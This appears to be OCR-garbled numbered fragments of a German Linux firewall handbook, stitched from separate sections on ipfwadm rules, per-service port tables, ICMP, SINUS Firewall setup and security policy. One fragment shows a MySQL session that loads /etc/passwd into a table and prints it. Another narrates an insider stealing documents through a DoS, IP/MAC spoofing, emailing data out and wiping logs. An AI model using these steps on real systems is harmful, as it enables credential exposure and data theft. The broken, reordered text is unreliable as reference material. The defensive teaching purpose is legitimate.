139. wie z B SQUID CERN HTTPD oder WWWOFFLE die Rede ist kann von Sicherheit also keine Rede sein Wer eine S u S E LINUX Firewall mit SQUID als PROXY installiert hat einen SUN SOLARIS host mit Netscape PROXY betreibt oder Windows 98 NT z B mit einem Microsoft Proxy betreibt dessen Sicherheit liegt mit hoher Wahrscheinlichkeit v llig blank Bei der gew hnlichen Standardinstallation bindet sich der PROXY an einen Port auf der internen Netzwerkkarte und bergibt die weiterzuleitenden Informationen an den Kernel der diese dann an die u ere Netzwerkkarte weiterleitet Hierzu ist forwarding notwendig Korrekt w re der PROXY installiert wenn er auch ohne forwarding die Daten transportieren w rde Dies erfordert genaue Kenntnisse und Konfigurations nderungen bei Host und PROXY Es besteht zudem stets die Gefahr eines buffer overflows SQUID CERN HTTPD geh ren schon zu der Gattung der application level proxy die genaue Kenntnisse ber das Protokoll besitzen Genaugenommen sind es sogar intelligente Proxies da sie ber spezielle Mechanismen des Caching von Files auf der Erstellt von Doc Gonzo http kickme to plugins lokalen Festplatte beherrschen Im Falle des SQUID und Netscape PROXY ist dieser sogar in der Lage mit benachbarten Systemen Daten auszutauschen Das macht sie u erst anf llig gegen DoS Angriffe und buffer overflows Bisher hat sich nur kein Angreifer daf r interessiert da auf diesen Servern ohnehin frei zug ngliche
140. 0 0 0 0 0 24 128 61 136 1024 65535 gt 80 acc tcp 0 0 0 0 0 24 128 61 136 80 gt 1024 65535 Die Regeln besagen Erstellt von Doc Gonzo http kickme to plugins e Unterbinde allen Netzwerkverkehr aus dem Netzwerk 10 0 0 0 f r die IP Nummern 10 0 0 1 bis 10 255 255 254 8 Option nach Uberall 0 0 0 0 0 hin e Eingehende ICMP Pakete werden akzeptiert 0 3 4 11 12 e Eingehende PING Pakete werden nur von internen Hosts akzeptiert 8 e TCP Pakete von einem externen Interface die NFS Openwindows oder X Windows ansprechen werden abgelehnt e Jedes UDP Paket aus dem internen Netzwerk welches auf den NFS Server zugreifen m chte wird abgelehnt e DNS loopkup und reverse lookups werden erlaubt e WWW Verbindungen aus dem Internet werden zugelassen 10 4 Das Testen der Regeln Dem Test der Regeln kommt stets eine besondere Bedeutung zu Es ist nicht notwendig von au erhalb aus dem Internet einen Portscanner zu bem hen um festzustellen ob auch alle Regeln korrekt arbeiten Hierzu gibt es in LINUX die M glichkeit mit ipfwadm diese Regeln sofort zu testen ohne Netzwerkanschlu In einem sp teren Kapitel werden einige Vorz ge von Scannern behandelt ipfwadm c berichtet ab eine Regel zutrifft oder nicht Hierzu mu man einige Testpakete simulieren INTERXY ist durch eine beliebige IP Nummer aus dem Internet zu ersetzen INTRA1 mu eine IP Nummer aus dem Intranet sein ipfwadm I c P udp W eth0 V INTERXY S a
141. 00 sec mysql gt load data infile etc passwd into table passwd Query OK 31 rows affected 0 01 sec Records 31 Deleted 0 Skipped 0 Warnings 0 mysql gt select from passwd ee nu nn text fee pe Se I root x 0 0 root root bin bash bin x 1 1 bin bin bin bash daemon x 2 2 daemon sbin bin bash lp x 4 7 lp daemon var spool lpd bin bash news x 9 13 News system etc news bin bash uucp x 10 14 var lib uucp taylor_config bin bash games x 12 100 tmp bin bash man x 13 2 var catman bin bash at x 25 25 var spool atjobs bin bash postgres x 26 2 Postgres Database Admin var lib pgsql bin bash Inx x 27 27 LNX Database Admin usr lib Inx bin bash mdom x 28 28 Mailing list agent usr lib majordomo bin bash yard x 29 29 YARD Database Admin usr lib Y ARD bin bash wwwrun x 30 65534 Daemon user for apache tmp bin bash squid x 31 65534 WWW proxy squid var squid bin bash fax x 33 14 Facsimile Agent var spool fax bin bash gnats x 34 65534 Gnats Gnu Backtracking System usr lib gnats bin bash empress x 35 100 Empress Database Admin usr empress bin bash adabas x 36 100 Adabas D Database Admin usr lib adabas bin bash amanda x 37 6 Amanda Admin var lib amanda bin bash ixess x 38 29 Xware Admin usr lib ix ware bin bash ire x 39 65534 IRC Daemon usr lib ircd bin bash ftp x 40 2 ftp account usr local
142. 023 ACK aus TCP gt 1023 gt 1023 SYN ACK ein TCP gt 1023 gt 1023 ACK Anmerkungen zu den Regeln CSADMHWNE 1 Externer Client oder Server nimmt Kontakt zum internen Server auf ACK gesetzt au er im ersten Paket 2 Interner Server antwortet externem Client oder Server ACK gesetzt 3 Interner Client oder Server nimmt Kontakt zum externen Server auf ACK gesetzt au er im ersten Paket 4 Externer Server antwortet internem Client oder Server ACK gesetzt 5 Interner Client fordert eine DCC Verbindung an externer Client beantwortet die Einladung des internen Clients ACK gesetzt au er im ersten Paket 6 Interner Client fordert eine DCC Verbindung an ACK gesetzt 7 Externer Client fordert eine DCC Verbinsdung an interner Client beantwortet die Einladung des externen Clients ACK gesetzt au er im ersten Paket 8 Externer Client fordert eine DCC Verbindung an ACK gesetzt F r das IRC Protokoll existiert unter LINUX ein spezieller PROXY mit Masquerading Unterst tzung Der Einsatz dieses Proxy s sch tzt aber keinesfalls vor Angriffen auf Anwendungsebene Es gibt aber inzwischen schon Filter die einen direkten Zugriff auf die Festplatte des Clients hinter der Firewall verhindern sollen 18 9 DNS Dienste DNS ist im Grunde ein verteiltes Datenbanksystem welches in Baumstruktur aufgebaut ist Hierbei sind an den jeweiligen Knoten DNS Server sogenannte primary DNS Server aufgebaut Damit es redundant ist
143. 11 12 Der vom Systemadministrator vorgeschriebene Browser und E Mail Client ist zu benutzen auch wenn sich noch andere Software auf dem Rechner befindet Einstellungen auf dem installierten Browser d rfen nicht ver ndert werden insbesondere m ssen JAVA JAVASKRIPT Active X stets ausgeschaltet bleiben auch wenn sich einige Internet Seiten nicht darstellen lassen Auff lligkeiten aller Art am Erscheinungsbild oder am Verhalten des Systems oder der Software sind dem Systemadministrator unbedingt unverz glich und ausschlie lich telefonisch mitzuteilen Ver nderungen durch Mitbenutzer oder Dritte sind dem zust ndigen Systemadministrator mitzuteilen Das Booten des Arbeitsplatzrechners mit oder von Diskette ber jede Art von Datenschnittstelle oder von CDROM ist verboten Die Ver nderung der Einstellungen im BIOS ist verboten Eingriffe in der Hardware der Austausch oder die Erg nzung von Komponenten sind dem Systemadministrator vorbehalten Das Speichern von Daten auf auswechselbare Medien ist verboten Falls Datenaustausch zwischen Arbeitsplatzrechnern erforderlich ist ist das hierf r ausdr cklich vorgesehene Gemeinschaftsverzeichnis auf dem Fileserver zu benutzen Der Empf nger hat diese Datei en direkt nach Erhalt aus diesem Verzeichnis zu l schen Das Starten von Programmen von Diskette ist verboten 28 3 Grundregeln f r den Nutzer Internet Surfen 1 Es kann versehentlich beim Surfen der Download e
144. 3 518 aus UDP 518 gt 1023 aus UDP gt 1023 518 ein UDP 518 gt 1023 aus TCP gt 1023 gt 1023 SYN ACK ein TCP gt 1023 gt 1023 SYN ACK Anmerkungen zu den Regeln DAnkWNre 1 Externer Client nimmt Kontakt zu internen Server auf 2 Interner Server antwortet dem externen Client 3 Interner Client nimmt Kontakt zum externen Server auf 4 Externer Server antwortet internem Client 5 Interner Client kommuniziert mit externem Cient ACK gesetzt au er im ersten Paket 6 Externer Client kommuniziert mit internem Client ACK gesetzt au er im ersten Paket TALK ist ein Dienst f r den es niemals einen sicheren Proxy geben kann Es m ten zu viele Ports f r UDP Protokoll ge ffnet werden um eine Kommunikation zu erm glichen Erschwerend kommt noch hinzu da ltere TALK Clients ber Port 517 statt 518 miteinander kommunizieren IRC Internet Chat IRC ist ein Dienst auf Basis von TCP Server berwachen gew hnlich Port 6667 auf eingehende Verbindungen Clients und Server die mit anderen Servern kommunizieren verwenden Portnummern ber 1023 Clients benutzen Portnummern ber 1023 um mittels DCC mit anderen Clients zu kommunizieren Erstellt von Doc Gonzo http kickme to plugins Regel Richtung Protokoll Quellport Zielport Erg nzungen ein TCP gt 1023 6667 SYN ACK aus TCP 6667 gt 1023 ACK aus TCP gt 1023 6667 SYN ACK ein TCP 6667 gt 1023 ACK ein TCP gt 1023 gt 1023 SYN ACK aus TCP gt 1023 gt 1
145. 5 255 0 also 3 mal 8 Bit Das bedeutet da ein Class C Netz angesprochen wird Das letzte Byte 8 Bit ist also variabel Wer z B hinter der Firewall einen einzelnen Host betreiben m chte der sollte die Option 32 benutzen damit nur dieser einzelne Host freigeschaltet wird Die Interfaces sind hier nicht mit angegeben also Vorsicht mit Verwechslungen 10 2 berpr fung der ausgehenden Regeln ipfwadm O l n IP firewall output rules default policy deny type prot source destination ports rej all 0 0 0 0 0 10 0 0 0 8 n a rej all 0 0 0 0 0 127 0 0 0 8 n a acc all 10 0 1 1 0 0 0 0 0 n a Die default policy ist deny Es wird nirgendwo nach Portnummern selektiert Wichtig ist hierbei die Reihenfolge der Regeln die auch bei der Ausgabe der Regeln streng eingehalten wird Zuerst werden alle Regeln aufgelistet die Pakete verbieten und danach kommen die Regeln die Pakete zulassen Pakete die erst zugelassen werden sind hindurch Ein Ablehnen eines Paketes durch eine nachfolgende Regel bleibt dann ohne Wirkung 10 3 berpr fung der eingehenden Regeln ipfwadm I I n IP firewall input rules default policy deny type prot source destination ports deny all 10 0 0 0 8 0 0 0 0 0 n a acc icmp 0 0 0 0 0 24 128 61 136 0 3 4 11 12 acc icmp 24 128 0 0 16 24 128 61 136 8 deny tcp 0 0 0 0 0 24 128 61 136 gt 2049 2000 6000 6001 deny udp 0 0 0 0 0 24 128 61 136 gt 2049 acc udp 24 128 60 8 24 128 61 136 53 gt 53 acc tcp
146. 50 LOGONFAIL wrong password for kdart Sep 21 18 49 55 jupiter jupiter jwall 192 168 1 50 LOGON interactive logon attempt for kdart Sep 21 18 49 55 jupiter jupiter jwall 192 168 1 50 LOGON successful logon for kdart Sep 21 18 49 59 jupiter jupiter jwall 192 168 1 50 LOGOFF user 100 100 Sep 21 18 51 44 jupiter uranus rollout jwall 514 sysadmin 233 jwall 192 168 1 50 SHARECLOSE Sep 21 18 59 18 jupiter uranus rollout abakun 500 sysadmin 233 abakun 192 168 1 20 SHARECLOSE Sep 21 20 38 55 jupiter jupiter home abakun 500 abakun 500 abakun 192 168 1 20 FILEDELETE file abakun NTprofile Recent Jungle Maximize WA V Ink Sicherstellung der Authentizitat von Log Dateien In obigem Beispiel ist aufgef hrt wie man LINUX dazu bringt Events aufzuzeichnen Wichtig ist es immer da man sich auf Logdateien verlassen kann Sie sind die einzigen Hinweise auf m gliche Verletzungen der Security Policy Leider k nnen Angreifer die z B ber einen Buffer overflow in ein System eindringen die Logdateien ver ndern Hierzu verwenden diese den I Node echten VI Hierzu sollten mit Hilfe der Kernel Security Mechanismen daf r gesorgt werden da einzelne Log Dateien mit dem Flag append only versehen werden damit auch ein User mit Administrator Rechten diese nicht mehr ver ndern kann ROOT hingegen sehr wohl noch Diese Mechanismen werden von einigen LINUX Derivaten Abhandlung folgt bereitgestellt und sind auch im Kerne
147. 6 aus ICMP Anmerkungen zu den Regeln 1 Ausgehender TRACEROUTE Test Quell und Ziel Port sind abh ngig von der Implementierung 2 Eingehendes TLL exceeded 3 Eingehendes service unavailable 4 Eingehender TRACEROUTE Test Quell und Ziel Port sind abh ngig von der Implementierung 5 Ausgehendes TLL exceeded 6 Ausgehendes service unavailable ICMP Information Die gro e Frage bei ICMP Meldungen ist Welche kann man sperren welche sollte man sperren und welche Effekte sind dann zu erwarten ICMP Meldung O ist ein echo reply also eine Antwort auf ping ICMP Meldung 3 destination unreachable kann unter anderem bedeuten da der Rechner das Netz oder der Port nicht erreichbar ist ICMP Meldung 4 source quench bedeutet da der Empf nger den Absender bremsen m chte Diese Meldung sollte erlaubt werden Andererseits k nnen so beliebige Angreifer den Host beliebig ausbremsen ICMP Befehle sollten also nur direkt von dem n chsten Router akzeptiert werden ICMP Meldung 5 redirect ist eine Aufforderung an den Absender eine Route zu ndern Diese sollte von dem Host ignoriert werden falls es nicht von einem direkt angeschlossenen Router stammt Sicherheitshalber sollte es ganz abgeschaltet werden Man sollte vor allem daf r sorgen da es von den Routern innerhalb des Firewalls blockiert wird ICMP Meldung 8 ist ein echo request der wird von ping erzeugt wird Diese Meldung kann erlaubt werden ICMP Meldung 11 time ex
148. Abschaltung aller unwichtigen Befehle Nun k nnen aus dem Quellcode Befehle und Routinen entfernt werden Es ist eine Neukompilierung erforderlich Liegt der Quellcode nicht vor so lassen sich mit Hilfe des HEX Editors diejenigen Befehle mit Zufallszahlen berschreiben Dies ist aber bestenfalls nur als Notl sung zu betrachten Test auf buffer overflows der verbleibenen Befehle Nun m ssen die verbleibenden Befehle auf m gliche buffer overflows berpr ft werden Hierzu reicht z B netcat oder socket unter UNIX um einen Befehl mit berlangen Parametern an den D mon oder das Dienstprogramm zu bergeben Man sollte dann das Verhalten des D mons bzw des Systems beobachten Gew hnlich findet dann eine Verletzung des Speicherschutzes statt oder es gibt Ausf lle bei Funktionen in Kernel oder anderen Diensten Tritt auch bei einer massiven Bombardierung keine besonderen Fehlermeldungen au er Syntax Error oder anderen Effekte auf so ist dieser Befehl ohne Gefahr einsetzbar Bei Speicherschutzverletzungen oder coredump ist das Dienstprogramm verletzbar und somit nicht sicher W hrend dieses Angriffs ist mit einem Debugger stets zu berpr fen welche Betriebssystem Routinen benutzt werden und ob sich der Fehler nicht eventuell im Kernel oder in den Bibliotheken libraries DLL s befindet Sollte dies der Fall sein so ist der Quellcode des Betriebssystems bzw der Bibliotheken betroffen Da meist auch weitere getestete oder zu testend
149. Angriff auf den Logserver der Firewall oder das IDS System m glich K nnen Datenstr me ber das Gateway gefiltert werden Welche Daten werden gefiltert Wie erfolgt eine Benachrichtigung des Systemadministrators Kann der Download von Daten aus dem Internet verhindert werden Wie wird sichergestellt da die Daten aus einer vertrauensw rdigen Quelle kommen Wie kann die Exisitenz eines Tunnels durch die Firewall von einer Arbeitsstation zu einem Internet Server festgestellt werden Port 25 oder 80 Wie wird der Systemadministrator benachrichtigt Existieren counter intelligence Mechanismen die automatisch eingreifen Wie k nnen diese berlistet werden Konsequenzen Erstellt von Doc Gonzo http kickme to plugins 12 Wird die technische Sicherheit des Internet Gateways durch Security Scanner regelm ig berpr ft 13 Was testen die Securityscanner 14 Erkennen die Security Scanner counter intelligence Mechanismen des Internet Gateways Blockierung aller Ports bei Entdeckung eines Scanners Welche Konsequenzen ergeben sich daraus 15 Welche Daten werden auf der Firewall aus den Datenstr men gefiltert 16 Welche Informationen ber interne Netwerk Strukturen oder Clients werden in das Internet verraten http www little idiot de cgi bin test cgi 17 Welche Informationen k nnten f r einen Angreifer aufschlu reich sein 18 Wird die Wirksamkeit der Filter regelm ig berpr ft 19 Wie wir
150. Befehl programmiert wurde Der Reihe nach k nnen so weitere D monen deren Befehle Parameter und Syntax berpr ft werden Hierbei sind besonders auf m gliche Probleme bei der bergabe von berlangen Parametern oder besonderen Befehlen an andere D monen zu achten bei jedem weiter in Betrieb genommenen Dienst ist stets auch der bereits gepr fte Dienst erneut zu testen damit Sicherheitsl cken bei den Parameter bergabe Routinen entdeckt werden k nnen Externe Filter Man sollte meinen da Security Scanner erkennen k nnen ob ein Dienst verletzbar ist oder nicht Das k nnen sie eindeutig nicht Sogar renomierte Produkte wie ISS Securityscanner fragt nur die Versionsnumm ern der Dienstprogramme ab und schaut in einer Datenbank nach ob evtl ein Fehler bekannt ist Er kann weder neue L cken entdecken noch erahnen Da aber ein D mon mehr als ein Problem haben kann die bekanntesten sind sendmail ftp DNS Server Exchange Server Proxy s SSH SSL Server HTTP Server ist ein Security Scanner gut Hacker abzuwehren Explizite Angriffe f hren diese h chstens bei der berpr fung von m glichen DoS Angriffen auf TCP IP Stacks durch Professionelle Cracker verlassen sich nicht darauf da sie mal eine in BUGTRAQ ver ffentlichte Sicherheitsl cke mit dem oft gleichzeitig ver ffentlichten exploit ausnutzen k nnen sondern sie sp ren diese Sicherheitsprobleme selber auf Welche Arbeiten k nnen dann entfallen welche nich
151. CP 25 gt 1023 ja zulassen NNTPI aus Server NNTP TCP gt 1023 119 bel zulassen NNTP2 ein NNTP Server TCP 119 gt 1023 ja zulassen NNTP3 ein NNTP Server TCP gt 1023 119 bel zulassen Erstellt von Doc Gonzo http kickme to plugins NNTP4 aus Server NNTP TCP 119 gt 1023 ja zulassen HTTPI aus intern Bastion TCP gt 1023 80 bel zulassen HTTP2 ein Bastion intern TCP 80 gt 1023 ja zulassen DNS1 aus Server Bastion UDP 53 53 zulassen DNS2 ein Bastion Server UDP 53 53 zulassen DNS3 aus Server Bastion TCP gt 1023 53 bel zulassen DNS4 ein Bastion Server TCP 53 gt 1023 ja zulassen DNS5 ein Bastion Server TCP gt 1023 53 bel zulassen DNS6 aus Server BastionTCP 53 gt 1023 ja zulassen STD1 aus bel bel bel bel bel bel verbieten STD2 ein bel bel bel bel bel bel verbieten Regel Erl uterungen SPOOF Pakete die angeblich von internen IP Adressen stammen d h gef lschte Pakete die mit hoher Wahrscheinlichkeit von einem Angreifer stammen oder deren Ursache in einer Fehlkonfiguration liegt werden blockiert TEL1 und TEL2 Ausgehende TELNET Verbindungen werden durch diese Regeln erlaubt FTP1 und FTP2 Ausgehende Verbindungen zu FTP Servern die f r interne Clients zur Kommunikation mit diesen Servern im direkten Modus vonn ten sind werden hierdurch erlaubt FTP3 und FTP4 Es werden f r den Datenkanal von FTP im passiven Modus Verbindungen von internen Clients zu externen FTP Servern zugelassen Durch diese Regeln werden allerdin
152. CPFS w hrend der Laufzeit ein Neustart ist unter LINUX nicht notwendig Da er einige alle Pa worte des NOVELL Server die IP Nummern IPX Nodenummern und die Hardware Adressen der Netzwerkkarten der Mitarbeiterrechner kennt kann er im Prinzip den NOVELL Server komplett in das Filesystem von LINUX einklinken Er hat dabei nur wenige Hindernisse zu berwinden 1 Kopplung Login Pa wort an eine MAC Adresse 2 Der Mitarbeiter darf seine Arbeitsstation nicht gestartet haben Also wartet der Angreifer bis zur Mittagspause vergewissert sich da Mitarbeit er XY nicht vor seinem Rechner sitzt und arbeitet startet einen kleinen DoS Angriff auf den Rechner des Mitarbeiters Der Rechner ist abgest rzt die Netzwerkkarte deaktiviert Nun f hrt er in LINUX ein virtuelles Interface hoch mit derselben IP Nummer und MAC Adresse die vorher der Windows 98 Rechner von Mitarbeiter XY besa Der Angreifer loggt sich mit LINUX in den NOVELL Server ein und beginnt DOC Files auf den LINUX Recher zu bertragen Nach 2 Minuten ist er fertig loggt sich wieder aus und beginnt mit einem Winword gt ASCII Konverter die Datenmenge zu reduzieren Mit ZIP komprimiert er diese und versendet sie an eine E Mail Adresse im Internet Er korrigiert die Firewallregeln bereinigt die LOG Files aktiviert die Logd monen und verschwindet ungesehen Der Systemadministrator ist ein gewissenhafter Mensch er kontrolliert sorgf ltig alle Logfiles auf NOVELL Server und R
153. DR ipfwadm O a reject o W EXTERNES_INTERFACE D IPADDR Keine Adressen aus dem Intranet d rfen in das Externe Interface ipfwadm I a deny W EXTERNES_INTERFACE S INTRANET ipfwadm I a deny W EXTERNES_INTERFACE D INTRANET ipfwadm O a reject W EXTERNES_INTERFACE S INTRANET ipfwadm O a reject W EXTERNES_INTERFACE D INTRANET Keine Adressen aus dem Intranet d rfen in das LOOPBACK Interface ipfwadm I a deny o W EXTERNES_INTERFACE S LOOPBACK ipfwadm I a deny o W EXTERNES_INTERFACE D LOOPBACK ipfwadm O a reject o W EXTERNES_INTERFACE S LOOPBACK ipfwadm O a reject o W EXTERNES_INTERFACE D LOOPBACK Keine Broadcasts ipfwadm I a deny W EXTERNES_INTERFACE S BROADCAST_1 ipfwadm I a deny W EXTERNES_INTERFACE D BROADCAST_0 Keine Multicast Adressen ipfwadm I a deny o W EXTERNES_INTERFACE S MULTICAST ICMP Codes 0 Echo_Reply 3 Dest_Unreachable Network_Unavailable Service_Unavailable etc 4 Source_Quench 5 Redirect 8 Echo_Request 11 Time_Exceeded 12 Parameter_Problem H OH HH HH ipfwadm I a accept P icmp W EXTERNES_INTERFACE S ANYWHERE 0 3 4 11 12 D IPADDR ipfwadm I a accept P icmp W EXTERNES_INTERFACE S DHCP_SERVERS 8 D IPADDR ipfwadm O a accept P icmp W EXTERNES_INTERFACE S IPADDR 3 4 8 12 D ANYWHERE ipfwadm O a accept P icmp W EXTERNES_INTERFACE S IPADDR 0 11 D DHCP_SERVERS Keine SUN RPC Paket
154. Das PMPTP Protokoll ist einfach zu konfigurieren und relativ sicher sofern man das bei Microsoft Software berhaupt behaupten kann Es eignet sich hervorragend zum Fernwartung und zum Aufbau von VPN s LINUX unterst tzt ab KERNEL 2 2 das Masquerading f r PPTP Protokolle Zusatz Billiger kann man IPSec nicht mehr realisieren Es ist alles kostenlos unter GPL verf gbar 28 Erstellung einer Security Policy Eine Security Policy legt fest welche Informationen welchem User im Netzwerk zug nglich sind Diese Aufgabe kann man nur bew ltigen wenn man sich einiger Dinge bewu t wird e Router und Firewalls k nnen nur Zugriffe von bestimmten Clients mit einer bestimmten IP Nummer auf bestimmte Ports von Servern kontrollieren hinter denen sich bestimmte Dienste wie Fileserver FTP Server SQL Datenbank Mailserver Newsserver WWW Server u s w verbergen Fur die Kontrolle der Pa worte sind die Server selber zust ndig e Es gibt Verkn pfungen zwischen Diensten untereinander Das bekannteste Beispiel d rfte die Verkn pfung eines WWW Servers mit einer SQL Datenbank ber ein CGI BIN PERL ASP PHP3 sein Man kann also ber andere Protokolle z B dem Port 80 Zugang zu einer SQL Datenbank auf Port 1521 ORACLE SQL erhalten Ein Router oder eine Firewall registriert dann den Zugriff einer Arbeitsstation auf die SQL Datenbank nicht e Diese Verkn pfungen k nnen auch ber Server hinweg passieren z B kann man mit einem PHP3 Script auf
155. Das sfc user control program ist ein einfaches Programm f r den Benutzer um den Zustand der aktiven Firewallregeln die momentanen Verbindungen und die Variablen anzuzeigen sowie die Firewall neu zu konfigurieren Es kommuniziert direkt mit dem Firewall D mon e Die Firewall Client Software kann sowohl auf der Firewall selber gestartet als auch auf entfernten Arbeitsplatz PC s gestartet werden Sie ist in JAVA geschrieben und auf allen Betriebssystemen OS 2 MAC UNIX PC lauff hig Sie kommuniziert mit dem Firewall D mon und erlaubt die komfortable Programmierung der Firewall sowie deren berwachung 14 18 SINUS Firewall 1 TCP IP Stack Die 3 Wege Architektur Einfache Firewalls besitzen nur eine 2 Wege Zustandsmaschine wie sie leider heute noch in einigen DOS Firewalls zu finden ist Hierbei gilt eine Verbindung als hergestellt wenn nach dem Client SYN der Server mit SYN antwortete Diese TCP IP Stacks sind empfindlich gegen vielerlei Angriffe und nicht mehr Stand der modernen Firewall Generation Die SINUS Firewall h lt sich hierbei streng an den RFC 793 Standard und differenziert den Zustand genauer Auf das SYN Paket also den Verbindungswunsch eines Clients beispielsweise ber TCP antwortet die Firewall mit einem SYN ACK Danach werden zwischen Client und Server nur noch Pakete mit gesetztem ACK ausgetauscht bis ein FIN vom Client oder Server die Verbindung als beendet erkl rt Hierbei ist eine Vielzahl v
156. Der kernel ist nun gepatcht und kann neu kompiliert werden Der umgekehrte Vorgang eines Downgrade funktioniert ebenso Hierbei mu die Versionsnummer des patch genau der Versionsnummer des Kernels entsprechen Das Kommando patch p0 R lt patch 2 2 x f hrt ein Downgrade aus Das Einspielen von Patches im Allgemeinen ist nur dann erforderlich wenn es gravierende Probleme geben sollte Probleme im Kernel sind vergleichsweise selten es ist also nicht erforderlich dauernd eine neue Distribution zu kaufen Abgesehen davon laufen die ersten Distributionen die mit der neuen glib2 ausgeliefert wurden noch nicht so stabil inzwischen sind diese aber ausgereift 22 3 LILO der Bootmanager LILO der Linux LOader ist der Bootmanager der weil er sehr klein ist in den Master Boot Sektor der ersten Festplatte pa t und sowohl LINUX DOS als auch OS 2 bzw Windows NT booten kann OS 2 Einstellung Um eine solche Men auswahl zu erstellen mu per Hand die Datei etc lilo conf editiert werden Hier werden dann als Parameter der neue Kernel der alte Kernel und die Kernelparameter die diesem beim Booten bergeben werden sollten eingestellt In der Datei befinden sich noch die Einstellungen f r den alten Kernel Hier sollte eine neue Konfiguration angef gt werden Diejenige die zuerst in der Reihenfolge erscheint beschreibt die Kernelkonfiguration die automatisch nach dem reboot booten soll Weitere Details entlockt man dem System mit man 8
157. ERFACE Kein Zugriff auf Ports im Bereich von X OpenWindows NFS ipfwadm I a deny o P tcp y W EXTERNES_INTERFACE D IPADDR VERBOTEN_PORTS ipfwadm I a deny o P tcp y W EXTERNES_INTERFACE D IPADDR VERBOTEN_OPENWINDOWS ipfwadm I a deny o P tcp y W EXTERNES_INTERFACE D IPADDR VERBOTEN_XWINDOWS Kein SOCKS aus dem Internet Erstellt von Doc Gonzo http kickme to plugins ipfwadm I a deny P tcp y W EXTERNES_INTERFACE S ANYWHERE D IPADDR 1080 Kein UDP auf verbotene Ports ipfwadm I a deny o P udp W EXTERNES_INTERFACE D IPADDR VERBOTEN_PORTS traceroute benutzt S 32769 65535 D 33434 33523 Verbiete Traceroute ipfwadm I a accept o P udp W EXTERNES_INTERFACE S 24 128 0 0 16 32769 65535 D IPADDR 33434 33523 ipfwadm I a deny o P udp W EXTERNES_INTERFACE S ANYWHERE 32769 65535 D IPADDR 33434 33523 Hier sollte man die Ports nur freigeben wenn man Zugriff auf den Bastion Host zulassen m chte DNS Server ipfwadm I a accept Pudp W EXTERNES_INTERFACE S NAMESERVER_1 53 D IPADDR 53 ipfwadm O a accept W EXTERNES_INTERFACE S IPADDR 53 D NAMESERVER_1 53 Sho OE ipfwadm I a accept P udp W EXTERNES_INTERFACE S NAMESERVER_2 53 D IPADDR 53 Se kOe ipfwadm O a accept W EXTERNES_INTERFACE S IPADDR 53 D NAMESERVER_2 53 Se kOe ipfwadm I a accept Pudp W EXTERNES_INTER
158. Echtzeitkontrolle des Firewallmoduls zu schaffen Hierzu wird empfohlen den LINUX Kernel 2 0 36 und die ltere libc5 4 xx einzusetzen Eingriffe in Form von Patches sind nicht notwendig es wird aber nach der Neukompilierung ein Treiber als Modul hinzugef gt Der Kernel sollte mit folgenden Optionen neu kompiliert werden Network firewalling TCP IP networking IP forwarding IP firewalling IP Always defragment IP Optimize as router not host Andere Optionen wie IP masquerading oder IP aliasing k nnen akiviert oder deaktiviert sein sie beeinflussen in keiner Weise die Funktionsweise der Firewall Es ist aber m glich da die SINUS Firewall andere Funktionen deaktiviert Genaue Anweisungen hierzu sp ter F r Firewall Cluster oder Fernwartung aus anderen Netzen wird dringendst empfohlen ENskip SUN SKIP als IPsec Layer f r die verschl sselte Kommunikation der Firewalls untereinander oder zum Fernwartungs Host einzusetzen Die Installation ist ungleich viel komplizierter da hierbei wesentliche Anderungen im Kernel in Form von Patches vorzunehmen sind Siehe hierzu auch Kapitel Einstellungen zu Kernel Optionen Desweiteren m ssen Zertifikate erstellt werden Hierzu weiteres sp ter 15 2 Entpacken des Firewall Quellcodes Die Firewall besitzt f r alle unterst tzte Prozessoren denselben Quellcode Dieser befindet sich in sifi 1 0 tar gz und mu mit tar xzvf sifi 1 0 tar gz entpackt werden Ein Einzelf llen k nnte es notwen
159. Eingehende TFTP Anfrage 2 aus UDP 69 gt 1023 Antwort auf die eingehende Anfrage 3 aus UDP gt 1023 69 Ausgehende TFTP Anfrage 4 ein UDP 69 gt 1023 Antwort auf die ausgehende Anfrage 18 3 TELNET Administration TELNET ist ein Dienst auf Basis von TCP TELNET Server arbeiten normalerweise auf Port 23 sie k nnen zwar auf jede Portnummer eingestellt werden andere Ports als 23 sind jedoch sehr selten TELNET Clients arbeiten mit Portnummern Uber 1023 Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 23 SYN ACK 2 aus TCP 23 gt 1023 ACK 3 aus TCP gt 1023 23 SYN ACK 4 ein TCP 23 gt 1023 ACK Erstellt von Doc Gonzo http kickme to plugins Anmerkungen zu den Regeln 1 Eingehende Verbindung Client an Server ACK gesetzt au er im ersten Paket 2 Eingehende Verbindung Server an Client ACK gesetzt 3 Ausgehende Verbindung Client an Sever ACK gesetzt au er im ersten Paket 4 Ausgehende Verbindung Server an Client ACK gesetzt 18 4 R Kommandos von BSD Allgemeine R Befehle Die R Kommandos sind Dienste auf Basis von TCP Der Server benutzt die Portnummern 513 rlogin oder 514 rsh rcp rexec rsync rdump rrestore und rdist Windows NT PDC Etwas ungew hnlich ist die Tatsache da die Clients beliebige Portnummern unter 1023 verwenden Diese Dienste k nnt man als antiquiert betrachen da sie viele Sicherheitsgefahren beinhalten Mit geeigneten Verschl sselungsmechanismen IPsec ENS
160. ErrorStringA RasEnumEntriesA RasEnumConnectionsA RasGetConnectStatusA RasDialA RasSetEntryDialParamsA RasGetEntryDialParamsA RasHangUpA Disconnected Connected to s Retry Authentication Password Expired Interactive Dialup Networking not installed Disconnecting Not Connected SubEntry Disconnected SubEntry Connected Logging On Network Callback Complete Authentication Started Projected Wait for Callback Wait For Modem Reset Prepare for Callback Device Connected Dialing s Port Opened Opening Port Unknown State Change lastdialup RasCreatePhonebookEntryA RasEditPhonebookEntryA rundll32 exe shell32 dll Control_RunDLL modem cpl IsNeoPlanet InsertImage DoSearch CNeo20DlgAutoProxy Neoplanet hat also die PROX Y Mechanismen einprogrammiert um ber eine Firewall hinweg zu arbeiten telnet gopher ftp TestWnd Personal Address Book Windows Address Book s lt s gt Bad call to GetAddressBookFile txt NeoPlanet Beta Addressbook txt Previously Recieved Email Addresses txt Previously Sent Email Addresses txt Personal Addressbook txt Ns s Failure loading Windows Address Book Import Manager wabmig exe Import Addresses into Windows Address Book Neoplanet now uses the Windows Address Book to store email addresses Do you want to import your addresses from the Neoplanet beta Address Book Erstellt von Doc Gonzo http kickme to plugins email Keine Ahnung mehr
